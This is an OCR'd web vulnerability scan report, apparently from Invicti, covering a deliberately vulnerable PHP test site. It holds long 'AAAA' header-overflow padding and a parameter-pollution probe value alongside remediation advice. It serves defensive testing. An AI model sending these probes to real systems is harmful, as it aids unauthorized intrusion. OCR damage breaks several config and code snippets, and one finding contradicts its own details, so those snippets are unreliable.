AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

i_nvi_cti_ Report 100


http://httpd.apache.org/security/vulnerabilities_22.html
https://www.securityfocus.com/bid/51706
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Directory listings

Severity Medium

Reported by module /Scripts/PerFolder/Directory_Listing.script
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Description

Directory listing occurs when a web server is configured to display the contents of a directory when no
default index file (such as index.html or index.php) is present. This misconfiguration allows anyone to
browse the directory structure and view all files within accessible folders, potentially exposing sensitive
files, backup copies, configuration files, or other resources that should remain hidden from public access.

Impact

Attackers can enumerate and download files from directories with listing enabled, potentially discovering
sensitive information such as configuration files, backup files, source code, database credentials, internal
documentation, or other resources not intended for public access. This information can be leveraged to
identify additional vulnerabilities, understand the application's internal structure, or directly access
confidential data. The exposure increases the attack surface and may facilitate further exploitation of the
web application.

Recommendation

Disable directory listing on your web server to prevent unauthorized browsing of directory contents.
Implementation varies by web server:

Apache: Add or modify the Options directive in your .htaccess file or virtual host configuration:

Options -Indexes

Nginx: Ensure autoindex is set to off in your server or location block:
location / {
autoindex off;

IIS: Open IIS Manager, select the website or directory, double-click "Directory Browsing," and click
"Disable" in the Actions pane.

Additionally, ensure that all public directories contain appropriate index files (index.html, index.php, etc.)
and review the listed directories to verify no sensitive files are exposed. Remove or relocate any sensitive
files that should not be publicly accessible.

References

CWE-548: Exposure of Information Through Directory Listing

Affected items

Web Server
Verified vulnerability
Details

Folders with directory listing enabled:

¢ http://php.testinvicti.com/vendor/

Request headers

GET /vendor/ HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8
Accept-Encoding: gzip,deflate


https://cwe.mitre.org/data/definitions/548.html

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

HTTP parameter pollution

Severity Medium
Reported by module /Scripts/PerScheme/HTTP_Parameter Pollution.script
Description

HTTP Parameter Pollution (HPP) occurs when an application fails to properly handle multiple instances of
the same HTTP parameter name. Attackers can inject additional query string parameters using encoded
delimiters (such as & or %26) within existing parameter values. When the application processes these
polluted parameters without adequate validation, it may lead to unexpected behavior as different server-
side technologies handle duplicate parameters differently (first occurrence, last occurrence, or
concatenation).

Impact

HTTP Parameter Pollution can enable attackers to manipulate application logic and bypass security controls
with varying consequences:

e Parameter Override: Overwrite hardcoded or expected parameter values, potentially bypassing
authentication or authorization checks

+ Logic Manipulation: Alter application workflows and business logic by controlling which parameter
values are processed

e Security Control Bypass: Evade input validation routines and Web Application Firewall (WAF) rules
that inspect only the first or last occurrence of a parameter

« Unauthorized Access: Access internal variables or functionality not intended to be user-controllable

 Data Integrity Issues: Cause inconsistent data processing between different application layers
(web server, application server, backend systems)

Recommendation

Implement comprehensive input validation and parameter handling to prevent HTTP Parameter Pollution:

1. Standardize Parameter Handling:
Define and enforce consistent behavior for duplicate parameters across your application. Decide whether
to accept only the first occurrence, last occurrence, or reject requests with duplicate parameters entirely.

2. Validate and Sanitize Input:
Implement strict input validation that detects and handles encoded delimiters:

// Example: Java servlet parameter validation
String[] paramValues = request.getParameterValues("paramName");
if (paramValues != null && paramValues.length > 1) {

// Log suspicious activity and reject request

throw new SecurityException("Duplicate parameters detected");
}

String safeValue = paramValues[O];



// Validate against whitelist pattern
if (!safeValue.matches(""~[a-zA-Z0-9]+$")) {
throw new ValidationException("Invalid parameter format");

3. Use Framework-Level Protection:
Configure your web framework to handle duplicate parameters securely. For example, explicitly retrieve
parameter arrays and validate their length before processing.

4. Implement Allowlisting:
Define expected parameters and their formats using allowlists rather than denylists. Reject requests
containing unexpected parameter names or structures.

5. Encode Output:
When reflecting parameter values in responses, apply proper output encoding to prevent secondary
injection attacks that may leverage HPP vulnerabilities.

References

HTTP Parameter Pollution

Affected items

/products.php

Details

URL encoded GET input pp was set to DAST&Nn979527=v995122
Parameter precedence: last occurrence

Affected link: hello.php?hpp=Acunetix&pp= DAST&N979527=v995122
Affected parameter: hpp=Acunetix

Request headers

GET /products.php?pp=%20DAST%26n979527=v995122 HTTP/1.1

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Insecure crossdomain.xml policy

Severity Medium
Reported by module /target/crossdomain_xml.js
Description

The crossdomain.xml policy file controls whether Flash and other Adobe clients can access resources
across different domains, bypassing the browser's same-origin policy. This server's crossdomain.xml file
uses wildcard permissions (domain="*"), allowing any external domain to read data from this server. While
this configuration may be acceptable for purely public content servers, it creates security risks for


https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

applications that handle sensitive data, use authentication mechanisms, or reside behind corporate
firewalls. The overly permissive policy effectively disables cross-domain access controls that are designed
to protect user data and prevent unauthorized cross-site interactions.

Impact

An overly permissive crossdomain.xml policy can expose the application to multiple security risks.
Attackers can host malicious Flash or Adobe content on their own domains that reads sensitive data from
your server, including authenticated session data if users are logged in. This can lead to unauthorized data
disclosure, cross-site request forgery (CSRF) attacks where malicious sites perform actions on behalf of
authenticated users, and potential exposure of internal network resources if the server is behind a firewall.
The risk is particularly severe for applications that rely on cookie-based authentication or handle
confidential information, as the wildcard policy allows any external site to access this protected content
through client-side requests.

Recommendation

Replace the wildcard (*) domain specification with an explicit allowlist of trusted domains that have a
legitimate business need for cross-domain access. If cross-domain access is not required, remove the
crossdomain.xml file entirely or deny all access. For applications requiring cross-domain functionality,
implement a restrictive policy that specifies exact domains:

<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"/>
<allow-access-from domain="trusted-domain.example.com" secure="true"/>
<allow-access-from domain="another-trusted.example.com" secure="true"/>
</cross-domain-policy>

Set the secure="true" attribute to restrict access to HTTPS connections only. Use the site-control
element to prevent policy files in subdirectories from overriding the master policy. Regularly review and
audit the list of permitted domains. For modern applications, consider migrating away from Flash-based
cross-domain requests to CORS (Cross-Origin Resource Sharing), which provides more granular and secure
control over cross-origin access.

References
Cross-domain policy files

Affected items

/crossdomain.xml
Details

The following issues were detected:

¢ /crossdomain.xml: Element "allow-access-from" has attribute "domain" set to "*"

Request headers

GET / HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com


https://web.archive.org/web/20120303231120/http://blogs.adobe.com/stateofsecurity/2007/07/crossdomain_policy_files_1.html

Connection: Keep-alive

Insecure HTTP Usage
Severity Medium
Reported by module /target/http_redirections.js
Description

The web application is accessible over unencrypted HTTP connections without automatically redirecting
users to the secure HTTPS version. This means users can access and interact with the application over an
insecure channel, potentially exposing sensitive data during transmission.

Impact

Without automatic HTTPS redirection, users may unknowingly transmit sensitive information (credentials,
session tokens, personal data) over unencrypted HTTP connections. This exposes the application to man-in-
the-middle (MitM) attacks where attackers on the network path can intercept, read, or modify data in
transit. Additionally, users accessing the site via HTTP bookmarks or links will remain on the insecure
protocol, creating persistent security risks.

Recommendation

Implement automatic HTTP to HTTPS redirection to ensure all traffic uses encrypted connections. This
should be configured at the web server level to redirect all HTTP requests (port 80) to their HTTPS
equivalents (port 443) using a 301 (permanent) or 302 (temporary) redirect status code.

For Apache, add to your virtual host configuration:

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ~(.*)$ https://%{HTTP HOST}$1 [R=301,L]

For Nginx, add to your server block:
server {
listen 80;
server_name example.com;
return 301 https://$server name$request uri;

For application-level implementations, ensure the redirect occurs before any sensitive data is processed.
Additionally, implement HTTP Strict Transport Security (HSTS) headers to instruct browsers to only use
HTTPS for future requests.

References

HTTP Redirections

Affected items

Web Server

Details


https://infosec.mozilla.org/guidelines/web_security#http-redirections

Request headers

GET / HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Microsoft Access Database File Detected

Severity Medium
Reported by module /Scripts/PerFolder/Access Database Found.script
Description

A Microsoft Access database file (.mdb or .accdb) has been detected in a publicly accessible web directory.
Access database files often contain structured data including user credentials, business records,
configuration settings, and other sensitive information that should not be exposed through a web server.

Impact

Unauthorized access to this database file could lead to disclosure of sensitive information such as
usernames, passwords, email addresses, business data, or application configuration details. Attackers can
download the file and extract its contents offline, potentially using the information to conduct further
attacks including credential stuffing, social engineering, or targeted exploitation of the application. Since
Access databases are not designed for web-based access control, any user who can reach the file URL can
download the entire database.

Recommendation

Take the following steps to remediate this vulnerability:

1. Immediately move the database file outside of the web server's document root to prevent direct access
via HTTP/HTTPS requests.

2. Review the database contents to identify what sensitive information may have been exposed and assess
the need for additional security measures (such as password resets if credentials were exposed).

3. Configure web server access controls to deny direct access to database files. For Apache, add the
following to your .htaccess or server configuration:

<FilesMatch "\.(mdb|accdb)$">
Require all denied
</FilesMatch>
For 1IS, add a request filtering rule to block these file extensions.
4. If the application requires database access, use a server-side application layer (such as ASP.NET, PHP, or
Node.js) to interact with the database rather than exposing the file directly.
5. Conduct a comprehensive review of the web directory to identify and remove any other sensitive files
that should not be publicly accessible.

References

Web Server Security and Database Server Security



https://www.invicti.com/blog/tag/web-server-security/

Affected items

/Generics/users.mdb

Details

Request headers

GET /Generics/users.mdb HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Password transmitted over HTTP

Severity Medium
Reported by module /Crawler/12-Crawler_User_Credentials_Plain_Text.js
Description

This vulnerability occurs when a web application transmits user authentication credentials (usernames and
passwords) over an unencrypted HTTP connection instead of HTTPS. Without encryption, credentials are
sent in plain text across the network, making them vulnerable to interception. All authentication forms and
login mechanisms must use HTTPS to protect sensitive user data during transmission.

Impact

Attackers positioned on the network path between the user and the server can intercept and read
credentials transmitted over unencrypted HTTP connections. This can be accomplished through man-in-the-
middle (MITM) attacks on public Wi-Fi networks, compromised routers, or network sniffing tools. Captured
credentials can be used to gain unauthorized access to user accounts, leading to account takeover, data
breaches, identity theft, and potential lateral movement to other systems where users may have reused
passwords.

Recommendation

Implement the following measures to ensure credentials are transmitted securely:

1. Enforce HTTPS for all pages - Configure your web server to redirect all HTTP requests to HTTPS,
especially for login pages and any forms handling credentials.

2. Update form actions - Ensure all authentication forms submit to HTTPS endpoints:

<form action="https://example.com/login" method="POST">
<input type="text" name="username" />
<input type="password" name="password" />
<button type="submit">Login</button>

</form>

3. Enable HTTP Strict Transport Security (HSTS) - Add the HSTS header to force browsers to use



HTTPS:
Strict-Transport-Security: max-age=31536000; includeSubDomains

4. Obtain and install a valid SSL/TLS certificate - Use certificates from trusted Certificate Authorities
or free services like Let's Encrypt.

5. Disable HTTP access entirely - If possible, configure your web server to only accept HTTPS
connections on port 443 and disable port 80, or configure port 80 to immediately redirect to HTTPS.

References

Password Transmitted over HTTP | Invicti

Affected items

Web Server
Details

Forms with credentials sent in clear text:

¢ http://php.testinvicti.com/auth/login.php
Form name: <empty>
Form action: /auth/control.php
Form method: POST
Password input: password

Request headers

GET /auth/login.php HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

PHPinfo pages
Severity Medium
Reported by module /Scripts/PerFolder/PHPInfo.script
Description

One or more publicly accessible pages containing the phpinfo() function were discovered on the web
server. The phpinfo() function is a diagnostic tool that outputs comprehensive system information
including PHP version and configuration, installed extensions and modules, server software details,
operating system information, environment variables, file paths, database connection settings, and HTTP
headers. While useful for development and debugging, this information should never be exposed in
production environments.

Impact


https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/password-transmitted-over-http/

Exposure of phpinfo() output provides attackers with detailed reconnaissance information that can be
used to identify specific vulnerabilities and plan targeted attacks. Disclosed information may include:

e PHP version numbers that can be cross-referenced with known vulnerabilities

e Disabled security functions that indicate weakened defenses

e File system paths that aid in directory traversal attacks

o Database credentials or connection strings in environment variables

¢ Installed extensions and modules that may contain exploitable flaws

e Server configuration weaknesses such as enabled dangerous functions or permissive settings

This information significantly reduces the effort required for an attacker to compromise the application or
underlying server.

Recommendation

Immediately remove all phpinfo() pages from production environments by taking the following actions:

1. Delete the entire file if it serves no purpose:

rm /path/to/phpinfo.php

2. If the file must remain, remove or comment out the phpinfo() function call:
<?php

// phpinfo(); // Removed for security

7>

3. Alternatively, restrict access using web server configuration:

For Apache (.htaccess or virtualhost configuration):
<Files "phpinfo.php">
Require all denied
</Files>
For Nginx (server block configuration):
location ~* phpinfo\.php$ {
deny all;
return 404;
}
4. Verify removal by attempting to access previously identified URLs

5. Scan the entire web root for other diagnostic files:

find /var/www -name "*info*.php" -o -name "test*.php"

For development and testing purposes, use phpinfo() only in local environments that are not accessible
from the internet.

References
PHP phpinfo

Affected items

Web Server
Details

PHPinfo pages found:

¢ /phpinfo.php
<title>phpinfo()</title>


https://www.php.net/manual/en/function.phpinfo.php

Request headers

GET /phpinfo.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

PHP register_globals Is Enabled

Severity Medium
Reported by module /Scripts/PerFolder/PHPInfo.script
Description

The register_globals PHP configuration directive, when enabled, automatically creates global variables from
user-supplied data in GET, POST, and COOKIE requests. This feature allows attackers to manipulate
application variables by injecting values through HTTP requests, particularly when developers use
uninitialized variables. Modern PHP development practices recommend accessing user input exclusively
through superglobal arrays ($_GET, $ POST, $ COOKIE) to maintain clear separation between user input
and application variables.

Impact

Enabling register_globals creates multiple security risks including unauthorized variable manipulation,
authentication bypass, and data exposure. Attackers can inject malicious values to override critical
application variables, potentially gaining administrative access, modifying application logic, or accessing
sensitive information. The severity depends on how the application handles variable initialization, but any
application using uninitialized variables is vulnerable to exploitation.

Recommendation

Disable register_globals immediately by modifying your PHP configuration. This setting has been
deprecated since PHP 5.3.0 and removed entirely in PHP 5.4.0.

Method 1: Modify php.ini
Locate your php.ini file and set:

register globals = Off

Method 2: Use .htaccess (if using Apache with mod_php)
php _flag register globals Off

Code Review: Audit your application code to ensure all user input is accessed through superglobal arrays
($_GET, $_POST, $_COOKIE, $ REQUEST) rather than relying on automatically created global variables.
Initialize all variables before use.

Verification: After making changes, restart your web server and verify the setting is disabled by checking
phpinfo() output or creating a test script that confirms register_globals is Off.



References
Using_Register Globals

Affected items

/phpinfo.php
Verified vulnerability
Details

This vulnerability was detected using the information from phpinfo() page.

register_globals: On
Request headers

GET /phpinfo.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

PHP session.use_only_cookies Is Disabled

Severity Medium
Reported by module /Scripts/PerFolder/PHPInfo.script
Description

The PHP configuration directive 'session.use_only _cookies' is disabled, allowing session identifiers to be
transmitted via URL parameters instead of being restricted to HTTP cookies. When session IDs appear in
URLs, they can be exposed through browser history, server logs, referrer headers, and shared links,
significantly increasing the risk of session hijacking attacks. Session hijacking allows an attacker to
impersonate a legitimate user by obtaining their session identifier, potentially gaining unauthorized access
to the user's account and data.

Impact

When session IDs are transmitted in URLs, they become vulnerable to exposure through multiple channels
including browser history, proxy server logs, web server access logs, and HTTP referrer headers when users
navigate to external sites. An attacker who obtains a valid session ID can hijack the user's session and
perform actions with the victim's privileges, potentially leading to unauthorized access to sensitive data,
account takeover, and fraudulent transactions. The severity increases when the application handles
sensitive operations such as financial transactions, personal data management, or administrative
functions.

Recommendation

Enable the 'session.use_only_cookies' directive to ensure session IDs are only transmitted via HTTP cookies
and never through URL parameters. This can be configured at the server level or application level using
one of the following methods:


https://php-legacy-docs.zend.com/manual/php5/en/security.globals

Method 1: php.ini Configuration (Server-wide)
Locate your php.ini file and set:

session.use only cookies =1

Method 2: .htaccess Configuration (Per-directory)
Add the following directive to your .htaccess file:
php flag session.use only cookies on

Method 3: Runtime Configuration (Application-level)

Set the directive before calling session_start() in your PHP code:
ini set('session.use only cookies', 1);
session start();

After making changes, restart your web server and verify the configuration by checking phpinfo() output.
Additionally, consider implementing the 'session.cookie_httponly' and 'session.cookie_secure' directives to
further protect session cookies from XSS attacks and ensure transmission only over HTTPS.

References

Runtime Configuration

Affected items

/phpinfo.php
Verified vulnerability
Details

This vulnerability was detected using the information from phpinfo() page.

session.use_only_cookies: On
Request headers

GET /phpinfo.php HTTP/1.1

